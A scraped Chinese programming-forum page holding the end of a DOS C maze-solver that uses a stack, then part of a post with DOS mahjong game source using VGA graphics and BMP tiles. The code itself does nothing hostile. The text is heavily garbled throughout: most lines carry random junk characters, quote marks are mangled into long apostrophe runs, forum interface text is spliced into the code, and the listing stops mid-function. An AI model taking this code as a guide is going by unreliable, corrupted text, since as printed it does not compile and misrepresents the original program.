return TRUE;4 u4 v1 `1 e' I* S$ r
else return FALSE;
, k7 w/ N# k* N} /* Pass */
, E. B1 r) @$ r5 Mvoid MarkPrint(PosType seat)4 f9 N; I+ h! u
/* Mark the position seat. */
. `# ]8 k) @: R. Q& e8 Y2 w$ e: Q{& f; `/ t- ]! `8 e" Z
maze[seat.x][seat.y].mark=-1;
" P: W6 M4 ]2 j- v9 j# E/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
; t7 g+ U* x( ]6 U4 u} /* MarkPrint */9 @4 [8 c7 U" U
void FootPrint(PosType curpos)" k& v/ f4 ^3 ?( H* X7 _
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
( Z) i/ ?: U% ]% u+ b" i$ _{( g. C8 j. D* [  c5 D8 {
maze[curpos.x][curpos.y].foot=1;3 c5 a9 |1 M% {7 G& w% q! `
} /* FootPrint */
9 E& d' s* X# ~5 S5 H2 J  i( l$ l6 RPosType NextPos(PosType seat,int di); K# u& V# J  N1 G4 p+ k' H) {- n5 t
{
5 E. T# w5 i2 {! J/ o/ B1 zswitch(di)
: Y: p) Y+ `. H( u! W0 i{
1 ^" W' G/ s, n8 Acase 1: seat.y++; return seat; /* Eastward */& \! Z$ x) l- d" t+ ]' ?1 ~
case 2: seat.x++; return seat; /* Southward */. T. |5 M  I* h, ?0 Z: [, |6 ~
case 3: seat.y--; return seat; /* Westward */+ s# v8 g6 r% h2 ~# ]. R
case 4: seat.x--; return seat; /* Northward */! K/ x' F5 r7 C) Z
default: seat.x=0; seat.y=0; return seat;' L/ b  i7 x4 V4 T+ J4 `
}
; d3 m, A/ V6 d$ ?+ w, L% P- [& o9 u} /* NextPos */
: L& `) Z; _$ Z6 D& m  l! _
+ Y( b0 \" y8 N) _4 ?9 z/* The key to the program. */. n9 m# V3 \. i* x0 ^# z
/* Pre: The maze array &amp; the startplace &amp; the endplace.
, n/ e. l$ Y8 E5 ]Post: Find the one traverse of the maze and perform the mazepath.
* `- d) {/ {4 S* B" u0 T+ @; QUses: The ADT stack class.2 ]: l' ]8 v! y" z! N* R; }
*/! m  C+ M2 ^  ?4 a6 m
Status MazePath(PosType start,PosType end)
! |; f4 C4 Z- a) g+ b7 g{+ U8 U# @7 M, m* Q3 D, x* _
PosType curpos;& `/ b$ ^# N8 l, m# V
int curstep;
+ r7 u$ \" C, Y# ~/ tSElemType e;8 z$ |( k$ ^6 r$ \5 w" i. ^
Stack *s,stack;8 g' `' T$ u6 ~) B' |: R
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));5 m& F) y& j9 H1 Q2 N# o! K: S
if(!stack.base) Error("Overflow");
% m3 G8 w# B' I8 X& pstack.top=stack.base;3 e& F, C: Y/ `
stack.stacksize=STACK_INIT_SIZE;- c% u2 Q* E$ H# _& F, U
s=&amp;stack;
7 d  `3 ?4 \* ~7 Icurpos=start;0 a3 G& Q, q& L( O" t
curstep=1;/ d7 Y" A5 }0 M$ N9 h
do4 k! i& m) e5 t2 a/ b' d
{( U5 f6 h8 O+ e
if(Pass(curpos))! h5 z+ S7 R! t$ D
{
2 L1 ^( j. I) _& \9 m' LFootPrint(curpos);
: P% m6 @4 X: }* N- w' [( Xe.ord=curstep; e.seat=curpos; e.di=1;
* I" k" T2 z/ j( ]9 G9 ugotoxy((curpos.y+1)*2,curpos.x+2);
. y, D+ B. d: jputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
" ?- Q* o0 F, p2 O# n5 \+ Tdelay(8000); /* pospone time. */
( w3 o+ p& x, B& NPush(s,e);
3 l+ ^7 {1 r" x' y8 sif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */% F2 y# f% k' }& G; V
{+ H2 Y+ p( R3 ~6 l* b; C! x
DestroyStack(s);
# m  W9 i# [2 d! `8 n; ureturn TRUE;2 \0 @' @0 H8 h; ^" f$ u
}
( e$ e& c' E1 _; H+ `curpos=NextPos(curpos,1); /* Try next position. */
. O/ b; F6 x* x; ?5 i. M. Tcurstep++;
' |6 f& b% m/ }; z}
4 I/ Z1 _" B( y9 q% K4 ]3 welse# C6 c( Q0 T6 {# o" ~) ]# u
{& e, g( \( N2 {# j3 K/ j0 c
if(!StackEmpty(s))
# M  ]& g- u4 R8 X: [" G- ]{( A: Q; n: r/ x. L- _! N8 L
e=Pop(s,e); /* Removed e from s. */
2 c* Q+ h2 h$ z! E% j: J* y8 Cwhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked0 j3 U6 U! T2 ?) I9 C8 m& c) g
and s is not empty. */( G  x; r, t0 c" s5 o
{0 [  @, S+ E! t9 Y8 I& d* O; I2 T) H
MarkPrint(e.seat);
, J+ e1 g, k3 `% h% fgotoxy((e.seat.y+1)*2,e.seat.x+2);' ]9 B1 X" X! P8 I8 T1 F! y4 y
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');6 k, H; L. X0 H; s
delay(8000); /* Pospone time. */6 K" O$ [4 R6 [7 C3 J
gotoxy((e.seat.y+1)*2,e.seat.x+2);. E5 R( _! l. I; f# w$ _
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
1 |( A. I/ a  w8 E' S, U1 pe=Pop(s,e); /* Remove e from s. */! ?7 ?3 v8 e7 [; u3 z
curstep--;
2 E& u; w) F1 a6 z}9 n# i5 X  u8 o: Z  {
if(e.di&lt;4) /* The current position hasnot been checked. */' J. {. \" b' S3 Z  b6 v
{
2 |. g4 _1 V, T! p0 ae.di++;
7 Q* O) Z* N; j3 g8 {  T2 ePush(s,e); /* Insert e into s. */
1 ^! W  y% w, x/ Qcurpos=NextPos(e.seat,e.di); /* Try next position. */
) i8 d4 g! b* h' R" |}
! ~0 Q. z, }) k7 u# [6 T9 T}" ?) s2 B) J7 q( s
}
) }+ W) M2 H! ?& H$ e}4 b5 Y( M' U; H% m
while(!StackEmpty(s));5 M, \1 t/ _+ l; [$ T
DestroyStack(s);; D: L( }4 Q( S" h7 J( k& }
return FALSE;  F6 M  z/ J. L% z
} /* MazePath */
+ z3 y  ^% V0 z+ F1 M8 Fvoid main()" Y6 `! M7 x, b
{- d$ L' ?& X$ Z* L) s  E
PosType start,end;
: C% P  h8 I$ j6 T3 t- l6 F; nCreatMaze();+ k( M! n0 l9 G4 c( W; F
start.x=StartPlace.y;
3 v3 S/ @) p- `! dstart.y=StartPlace.x;. c1 f+ {0 A: l: R8 q3 j. x
end.x=EndPlace.y;3 s. {& }8 g: w5 E, ^6 j  C+ [
end.y=EndPlace.x;
) A  ^+ T) Y8 C# kif(MazePath(start,end))% A7 M4 [+ }; p; F* {& Q! j
{) I4 V  d2 _: Z1 B  a
gotoxy(2,22);" q) `2 A' A) r2 M! Z- ^7 ?6 u
printf("ath found\n");
. ^+ ~/ f, z5 _2 D# V# E}
7 o3 M) \  f$ l+ n; `. ^else
, K5 D0 g8 r. l: Q2 m& I{
( W6 M9 s! R% E* lgotoxy(2,22);
8 f+ t' f" J( Z1 }% Q0 B. a/ mprintf("ath not found\n");) E0 h2 t9 |, p- O- @2 j2 q
}) ^( Y, f( R, H/ j  \
getch();6 e9 K5 I% @8 S6 `. f
clrscr();. ~$ g+ f' T. J# V/ l
} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
  c# j( j4 O6 N, N0 n& |/*天宇软件
* A! D9 u8 V6 w; g作者:上海黑暗之龙' J$ B9 b& P+ @
2002/10/30# P( X3 h8 S3 K
麻将原代码*/, u2 j- [4 ?# W, j
#include "dos.h"
$ S1 ]! V8 a$ U: B1 l; O#include "stdio.h"
  ~% J. d- X1 J% h' H#include "graphics.h": `. @6 }# L+ u8 ^5 X3 v4 D$ }
#include "bios.h"
" R8 [0 g. n- `#include "conio.h"9 q- r7 T- @) E2 t: I/ X
#include "stdlib.h"0 x) A- G& t+ O  r
unsigned char far *video_buffer=(char far *)0xA0000000L;
; L( D2 ?" v" U6 H* K#define VGA256 0x13 /*图形模式13h*/$ q: E- ?- q& Q7 k, A  C& c; J
#define TEXT_MODE 0x03 /*普通文本模式*/+ h% R- [6 u+ e1 {
#define SETVGA Set_Video_Mode(VGA256)
% D; V9 p. ]* u$ l* |#define OUTVGA Set_Video_Mode(TEXT_MODE)* l8 }" K3 {) y! `2 X+ t. g; {
#define BYTE unsigned char8 y/ O8 `/ h# l
#define WORD unsigned int
2 L& ^5 d4 z( b+ Z8 Q0 B% B" {#define DWORD unsigned int
  }( m! D8 `/ o8 v#define ESC 283+ @* X. a3 {% e) s% D, Z
#define LEFT 19200  a+ P( U2 v/ Z: {, I( G
#define RIGHT 19712; R( l" h0 y% {7 u2 x& q
#define H 90646 j- @/ [- g" S5 _
#define ENTER 7181
  s! c- H( q4 M. punsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;5 h  n' S# q% k; Q7 ^8 n4 ]
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
- {# `3 w# }3 \5 Ostruct chi
' a" g1 F* o& c9 Y7 [{
2 @3 t( f' d- o, `  H% @. [9 Lint lg;/ Y; p6 G- J* T
int lgg;4 ?( r5 J# o8 m* S) U; [; m( f0 A) P
}ch[13];! T# o' X% C6 w1 @* |
struct mj% t; c& W. T% ?) M8 K
{ char *name; /*名字*/7 j2 z) A; |7 A! @3 J- r
int data1; /*是否已出,无用了*/  b6 o! p( r( J* T; f0 V, t9 a
int data2; /*是否在手中,1为自己,2为对方*/! w2 T; k7 c: b; I: F* M( h
int number; /*同一个花色的第几张,共4张*/. A' l0 K  a  b0 E4 Y$ n% _. Y7 B" o
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
9 v7 v# \7 i# h+ K3 |5 y"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
  \: X" U- T/ `! {, t+ }1 ~"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,* w9 o1 f( C/ s' J( s
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,: p' S" d$ O7 J5 B) L
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
. O1 M; m: Q# C. `0 @"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
) X. H4 t2 k3 ~7 T7 O' b6 s1 h"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,/ H' }5 G/ L. R8 [( g# d
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
$ v! @$ n& T* n9 B" Y; W8 d"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
7 d2 I3 \+ c: g+ g; @! Q"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,3 }: X5 |- S) X. J$ }
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
/ H( e5 f) H+ H4 v2 ?5 q"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,3 d! ^$ ]/ e6 B6 C
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,; r" f+ l7 ^% D' [7 P9 o/ k
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,4 g! a$ q: u; [7 D; O/ |
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
0 |. Q/ f6 y+ X"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
2 _6 N7 c, D" X8 W"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
3 A0 Z# j9 q+ M; H* Y" }) P"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
7 E8 r7 x  F$ Q) K( Y"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
' \" n9 g$ |  _$ u+ Z1 R"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,0 c1 r. m$ m4 l* T
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
/ h9 ~0 p# S$ m3 y# z* {" h  \"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
  e. a: s6 j, h7 Q: O4 ], Y"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,: n+ q7 l& i1 Y1 e$ T; d7 d
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,) J# a. y9 I2 m! l: x& |
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
3 ?# o$ o9 s9 v+ E, S' H"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
" n! w, ]+ ^$ u& ~$ `! |% N, i; d' N/ ?"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
4 w6 M$ M. \& @" a6 E( ?9 Z"34.bmp"};
8 g  F, N5 |$ lstruct every# @9 Y  K' d! t; {* N' O
{ int *k; /*名字*/
, f" G$ O2 J: C7 H9 Y$ B& eint oneorfour; /*同一张牌的第几张*/% s( |" e" B) U1 k
int number; /*第几张牌136*/
. W/ c7 K6 Z; y; M+ X) V( Tint p;
& Z5 [6 G6 p, fint g;8 ^6 c4 b/ H/ M$ G' Y* v9 J0 ^
int c;
& Y1 i; F* F  D% ~* \int d[2];
/ B* ~4 \# @/ }, W+ W};
) \" l+ x* l- x! A1 Wstruct me/ ?; Z6 A% `' y# ?+ B, ~
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
: e) x9 e( x; k$ |0 Tint p; /*乓对方*/
" u  M# l/ V# H+ k( Rint c; /*吃对方*/  b0 t4 @8 }+ C5 F( k! j: n
int g; /*杠*/
2 `5 b0 [8 Z( g* E$ T/ s5 f3 g) D- O" V5 w4 f* H. I. }; E" Z/ U0 e( C
struct every pp[14]; /*存放手上的牌*/
# }, O( c0 q& y+ n}me;
% Y& ~( @# b1 @- [/ C2 \6 U- ?struct computer7 C+ t) ?, i. G% E  j
{ int m;# R% y( g) v1 i; R3 j9 X7 w
int p;
: y9 Y: \( i4 M; y; {. Yint c;
1 R4 ~8 j% C1 }! ]int g;
4 J2 }! h, z9 i2 i4 T' @+ Y% l  h; Cstruct every pp[14];
8 S2 v# c& D+ ^' M}computer,comp;8 \; E0 h/ |9 E/ j: A
; B5 C% x7 y7 n- I' ]% K; Y
/* 设置调色板 */
6 y) h/ Q  B4 L* r' Y+ [' Dvoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b)2 E; ?; _- ^1 W9 r# Y  N
{* A! b" u- {; g9 {' V* y# r
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/; s: Z3 |# d. ]1 a' |
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
, C' c: v0 L4 w; o. ^  houtportb(0x3c9,g);" `! o& v& Q: c% x; o3 ~- w
outportb(0x3c9,b);
1 b/ j  B6 W% h/ [  U}  S9 R! F2 d+ N5 `
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
+ k" J4 [1 a+ a* S: D! s/* 设置显示模式的函数 */
$ I: R* k  u! `" zvoid Set_Video_Mode(int mode): o  A1 p: R: c
{: q! H8 c! U! p9 @- J
union REGS inregs,outregs; /*定义输入和返回寄存器*/$ }, S0 S0 w# n1 [; R
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
6 I5 V, H& ^7 Q0 z7 winregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
( W5 T- b, f3 Dint86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
$ R9 K& X. m1 N}/ b- d: f# Q; ^, `
void v_line(int y0,int y1,int x,unsigned int color)9 ^4 {$ t& B5 Y8 q5 }3 j! O
{ unsigned int address,n,temp;6 N; ], E! r1 Y# G
if(y0&gt;y1)
: p* F. @% m2 G: [% p- S& j{
. q9 ~; h7 f, p- wtemp=y1;
* \2 Y* Y3 P! |" Iy1=y0;- Y8 u- A2 E6 X* \
y0=temp;+ z! y- u. r0 b
}
6 ?$ f5 b  p$ S6 maddress=320*y0+x;6 s- E; _" p' m- \) `
for(n=0;n&lt;=y1-y0;n++)
$ ]. H! w! o0 ^2 Q/ I( y/ I{$ P2 S) g$ A" Q. m* I' K$ V
video_buffer[address]=color;6 c$ q% |; Q4 {8 z1 ~
address+=320;
/ W7 u: p, |: Y}# K& L; Z4 a  U. u) W
}  p1 P! b9 b5 U. ~3 _& T1 j4 }
void h_line(int x0,int x1,int y,unsigned int color)
: K1 N9 _4 u8 r7 q6 A{ unsigned int address,n,temp;. _( V+ z$ R+ E( E( B
if(x0&gt;x1)2 o) C3 C, J. {- `3 E9 t  o
{
$ l2 \2 y# k* \( K1 Xtemp=x1;
/ b& |6 E0 [2 I" ^x1=x0;* C8 F9 \( M, C' @' {4 e  `
x0=temp;1 x3 Q7 k% b4 q" C4 }
}
& C" s% P; w  `( `* F, Yaddress=320*y+x0;
( H; E4 ], M$ L7 N, e4 gfor(n=0;n&lt;=x1-x0;n++)
; s* L$ u" [7 x; n{
5 ~+ s, J* q+ h. uvideo_buffer[address]=color;( t. @1 L1 x: f' j  F8 f! q
address+=1;- x; Y1 Z' Y. @: F3 U
}4 h* X8 g/ b+ N, D1 s; ?' G
}
8 @3 U& m) \% L% H0 h& b. t. Jvoid p_pixel(int x,int y,unsigned int color)5 @+ m0 o. i8 k9 w; W( x
{ video_buffer[y*320+x]=color;
; x9 f2 V9 H+ X}$ q- C- e* N  }7 J! p
void s_square(int x,int y,int side,int color)$ @% @% Z- _4 q$ p% ^# g. a: {
{: A# U. U# g( j2 V7 T
h_line(x,x+side,y,color);0 f8 }# K3 o4 z; Q0 z
h_line(x,x+side,y+side,color);. P) T. i2 A. X& _' S- Z) X. ]7 P
v_line(y,y+side,x,color);
# G8 ]' }3 b! l) w9 {" l3 x4 n1 U+ ^v_line(y,y+side,x+side,color);
( N7 p' K* g5 `) I+ P' a  o) U}
& J% {5 O  @' I3 b  Lvoid r_rectangle(int x1,int y1,int x2,int y2,int color)
, ]! C3 Q7 s$ y% X{
' A2 q* [0 G( M# M* S# [h_line(x1,x2,y1,color);" E- _9 ?9 H2 C, R2 Q
h_line(x1,x2,y2,color);
2 L! B" L/ A0 y; ]+ v& k6 Kv_line(y1,y2,x1,color);
( G: s! @: a0 y# L. Dv_line(y1,y2,x2,color);
" G4 [5 u& I& M6 C}6 b9 d2 }; @3 D$ o; {
void fillRectangle(int x1,int y1,int x2,int y2,int color)
; V2 Z1 {! B/ ]& h  u$ K$ E' B{
: a. Z$ {' [* P# Q8 ^- D! Aint i;9 m/ [2 O5 v' s
for(i=y1;i&lt;=y2;i++)
" i! _$ L* G7 ^0 g" q, V{7 K0 v. r1 {  f! ^! A8 O
h_line(x1,x2,i,color);3 m2 `4 @/ l- C4 f: v7 {
}& T3 d; ~! F0 W2 V% s
}/ O9 L$ Q0 z* z* _$ _% R  B
void showbmp(int l), P- v5 }; R4 q% o2 Z4 r
{ FILE *bmp;4 D# `; x3 h( }% \  c  _6 d- K% H$ ?
int i,x,y;( Z. L7 b! V2 a/ b* d7 `
BYTE palette[256][3];- ?. r8 J# N$ a2 H' K9 H- ?$ f2 R
bmp=fopen(me.pp[l].k,"rb");
: }; @1 x7 y1 U" P0 P1 `; R! {1 a/ Gfseek(bmp,54,SEEK_SET);/ H- [* {  |+ t$ b  R" E* y' |
for(i=0;i&lt;256;i++)
" l7 [3 R" ]' r: ^{
. ^) f1 }- K( L0 n0 G# t& @0 q- rpalette[2]=fgetc(bmp)&gt;&gt;2;
7 R8 m. `6 y  U, Lpalette[1]=fgetc(bmp)&gt;&gt;2;
* M9 V# C! ?  K! V! C; ypalette[0]=fgetc(bmp)&gt;&gt;2;/ w+ b- O- O) `$ N, ]- y; [
fgetc(bmp);
; j7 }$ b2 F8 S! @/ aSet_Palette(i,palette[0],palette[1],palette[2]);
2 d5 e: G  ]3 \6 Y6 a) ^1 B}0 j  F$ H0 J: |
for (y=0;y&lt;30;y++)( z1 t0 _( a4 P
for(x=0;x&lt;20;x++)- U- W# N7 Z+ U8 K; g
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));) w1 M9 |  p! F* h* p; A$ r1 ~$ {
fclose(bmp);( s4 b" S# o( j1 r: P/ u4 q' E0 J3 P
}% K. G6 L' r2 }! M! a
void showbmpd(int l)& P7 w5 P$ s# p: E7 j6 f
{ FILE *bmp;
. h9 `! M+ q4 e0 i6 iint i,x,y;/ e. |) k9 a* d# |0 Q8 R' `- B
BYTE palette[256][3];* Z4 B3 K1 c" \9 E" t( u. M9 i
bmp=fopen(me.pp[l].k,"rb");
& f: O) y& `- Y& L" Z( pfseek(bmp,54,SEEK_SET);* r8 F; j5 K0 T) c# w
for(i=0;i&lt;256;i++)7 r- S+ z2 ~- K8 u3 \& z. N
{5 X$ H+ g! U& J+ L
palette[2]=fgetc(bmp)&gt;&gt;2;/ `+ D, B" `1 F) h, P; o6 d
palette[1]=fgetc(bmp)&gt;&gt;2;7 l7 U6 b: Y- A6 K+ y( @" c5 v# W
palette[0]=fgetc(bmp)&gt;&gt;2;# X; }3 _5 ^$ _7 x
fgetc(bmp);
( P" n) l+ `2 j" ^, W* x5 ASet_Palette(i,palette[0],palette[1],palette[2]);! g! O6 V/ `! \4 J' a
}$ A+ s* T* Y9 Z0 M/ b
for (y=0;y&lt;30;y++)# t" a1 e* U* @- o, k
for(x=0;x&lt;20;x++)8 `* w, r. d5 z. p! ^
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
: A! k7 I( e0 z& g- |3 @/ G2 |fclose(bmp);2 Q+ d, ^2 k( G% _. r, ^
}
6 a3 O( i! q; W1 R: w1 Nvoid showybmp(int ll)
7 M9 k8 q* r: Y5 |, \9 x) a{ FILE *bmp;! J! v0 I' m$ n1 i9 G  K
int i,x,y;
3 u- S4 }9 j* b& |& @* M9 oBYTE palette[256][3];
: z- u( |) V" R7 g* v8 p- F) Xbmp=fopen(computer.pp[ll].k,"rb");
" ~2 B! W0 Y1 a1 O6 Ifseek(bmp,54,SEEK_SET);. E4 Q3 y1 ~5 x# W5 Y
for(i=0;i&lt;256;i++)% B. ~" O/ G3 a9 }
{+ A4 z5 i' ~& c& ?+ y
palette[2]=fgetc(bmp)&gt;&gt;2;& M- ^1 K# t+ N% t3 i7 h
palette[1]=fgetc(bmp)&gt;&gt;2;4 \3 O. ?6 }. u8 t( [  z
palette[0]=fgetc(bmp)&gt;&gt;2;
5 d& S% F* a- n* L( a6 o* ~fgetc(bmp);
; s) B+ I; N2 hSet_Palette(i,palette[0],palette[1],palette[2]);
+ g1 s! @; G- v" f6 [; I}
/ d+ v6 t8 t$ }; J+ y8 q8 Mfor (y=0;y&lt;30;y++)5 }8 @5 d. A; i6 q8 Q, N
for(x=0;x&lt;20;x++)
$ h3 V: R2 s4 Y; lpokeb(0xa000,y*320+x+zy,fgetc(bmp));4 O) K4 U, i2 p- m. [9 N
fclose(bmp);
. q) v( Z7 K6 p}
* ~$ i) X5 M  G# E& dvoid showcbmp(int ll)3 F/ `5 w! c+ J+ H% s6 l, o# h, s' ]+ y
{ FILE *bmp;% F+ {& q: o' |3 I! g+ V; Z
int i,x,y;
% ]) ?( d: h  O3 e1 r" C' ]# M  ABYTE palette[256][3];
% ?4 b! {5 B( e: y9 Abmp=fopen(computer.pp[ll].k,"rb");2 r' b; m  C4 n0 ]6 L8 r% {
fseek(bmp,54,SEEK_SET);) {, ?0 z! X4 |2 `
for(i=0;i&lt;256;i++)( g& w: N& b1 Q3 G0 m* \* N
{! L8 z8 q0 l' \. a$ D
palette[2]=fgetc(bmp)&gt;&gt;2;! k$ z9 [$ J% Z* a
palette[1]=fgetc(bmp)&gt;&gt;2;
' \, P; e- w  y1 A" jpalette[0]=fgetc(bmp)&gt;&gt;2;" g( P  F2 q4 _6 A: L- h& p
fgetc(bmp);5 A; Y- _) H4 Z5 _( j& N
Set_Palette(i,palette[0],palette[1],palette[2]);/ \9 S( l/ P* t* m+ K: c
}
5 E3 ^: C  f" z  W% jfor (y=0;y&lt;30;y++)4 l8 I3 \& i* z( p5 \
for(x=0;x&lt;20;x++)
5 r4 Q5 `* K. y+ Kpokeb(0xa000,y*320+x+zyy,fgetc(bmp));
3 j# F$ e5 y0 o  ~3 c2 [' zfclose(bmp);
/ ^+ K9 f1 t! _$ r}$ {# m- M) z/ d4 j7 v6 q
void bmpp(int number)
/ N+ C' q1 Z5 O$ k  Y{ FILE *bmp;" M) y6 `# z; ]) D2 C3 s
int i,x,y;9 p2 V( ?" t( j7 m
BYTE palette[256][3];
; s3 U* v& N* e- L/ bbmp=fopen(m[number].name,"rb");5 j. c5 q3 K  s0 {9 r4 ^
fseek(bmp,54,SEEK_SET);& }% {8 K6 Y! Y+ s3 h6 M! X. [3 S0 D3 K
for(i=0;i&lt;256;i++)
. _  ?; d0 C0 z6 j! o{5 p% [, ^/ q$ I' B3 [6 _
palette[2]=fgetc(bmp)&gt;&gt;2;
  y# U5 A! S, h  z9 b9 Bpalette[1]=fgetc(bmp)&gt;&gt;2;
" ]. K. z5 e) L9 }palette[0]=fgetc(bmp)&gt;&gt;2;
9 Q  Z9 ~' P9 g7 J( Wfgetc(bmp);7 V$ K# a: L# }3 o3 J  j1 S! Z
Set_Palette(i,palette[0],palette[1],palette[2]);0 C3 z% q+ F9 i' w
}
% B$ d$ w* q1 Y' afor (y=0;y&lt;30;y++)
/ B5 v- |9 B, `  Wfor(x=0;x&lt;20;x++)* ~8 H5 v8 ~, f* u8 X
pokeb(0xa000,y*320+x+zl,fgetc(bmp));7 G/ s8 a" }& N$ V
fclose(bmp);9 m8 ~# G3 L, k6 w2 H
}
: Y8 I. q+ O& m$ W6 p3 J' ivoid comlipai() /*整理电脑的牌*/
4 ?$ Q+ P1 Z) T3 e) [. m{ int n,j,u;
* b6 q' r- D- A$ ~! O) u4 Aint *lingshi;
2 z+ N3 ~7 y6 l6 L' Q8 Y) qfor(n=0;n&lt;computer.m;n++)- i" G0 Y0 y2 ^* n+ G
for(j=n;j&lt;computer.m;j++)
' Z" G8 `% w, M. j/ x1 C2 }{$ A, N0 s5 l9 p, w4 ~" {7 [
if(computer.pp[n].number&gt;computer.pp[j+1].number)1 p6 M; N1 U, _* L2 Z
{
* K8 v7 W" E% l% S* clingshi=computer.pp[n].k;4 }1 P+ |2 a; ^  X1 M' Y
computer.pp[n].k=computer.pp[j+1].k;! }# ^: g3 s- [( ?
computer.pp[j+1].k=lingshi;+ C- [, f7 B( p- f' t5 p6 P2 i6 o* P
u=computer.pp[n].oneorfour;
3 f. \8 k. R; x) M) r# Xcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
" P* F& V4 ?0 h; q) G( ccomputer.pp[j+1].oneorfour=u;* |% u! y9 r6 S# H4 B* x6 v
u=computer.pp[n].number;
3 Q2 d( R. ^4 s  Vcomputer.pp[n].number=computer.pp[j+1].number;
3 `$ X6 ]/ I6 [# W% n" R1 k/ Xcomputer.pp[j+1].number=u;  N$ z8 {$ p; _0 o5 N# j
}
# k- u' L' ?* o8 Celse
! _2 v. Z$ f, e+ Bif(computer.pp[n].number==computer.pp[j+1].number)
+ `- m9 H4 a$ P! Pif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour). C; b  Z1 p; g
{
! u, ?+ i+ g. G! O, Clingshi=computer.pp[n].k;+ {" G5 H" w3 N0 b% F4 p; }8 m5 x
computer.pp[n].k=computer.pp[j+1].k;
2 @' g$ R# X6 Ecomputer.pp[j+1].k=lingshi;
4 p+ f. m( ~. M' o$ R7 nu=computer.pp[n].oneorfour;
3 _5 D. Z8 ]( l& n8 L3 ocomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;: O2 N' w& c! [  O0 g# c
computer.pp[j+1].oneorfour=u;
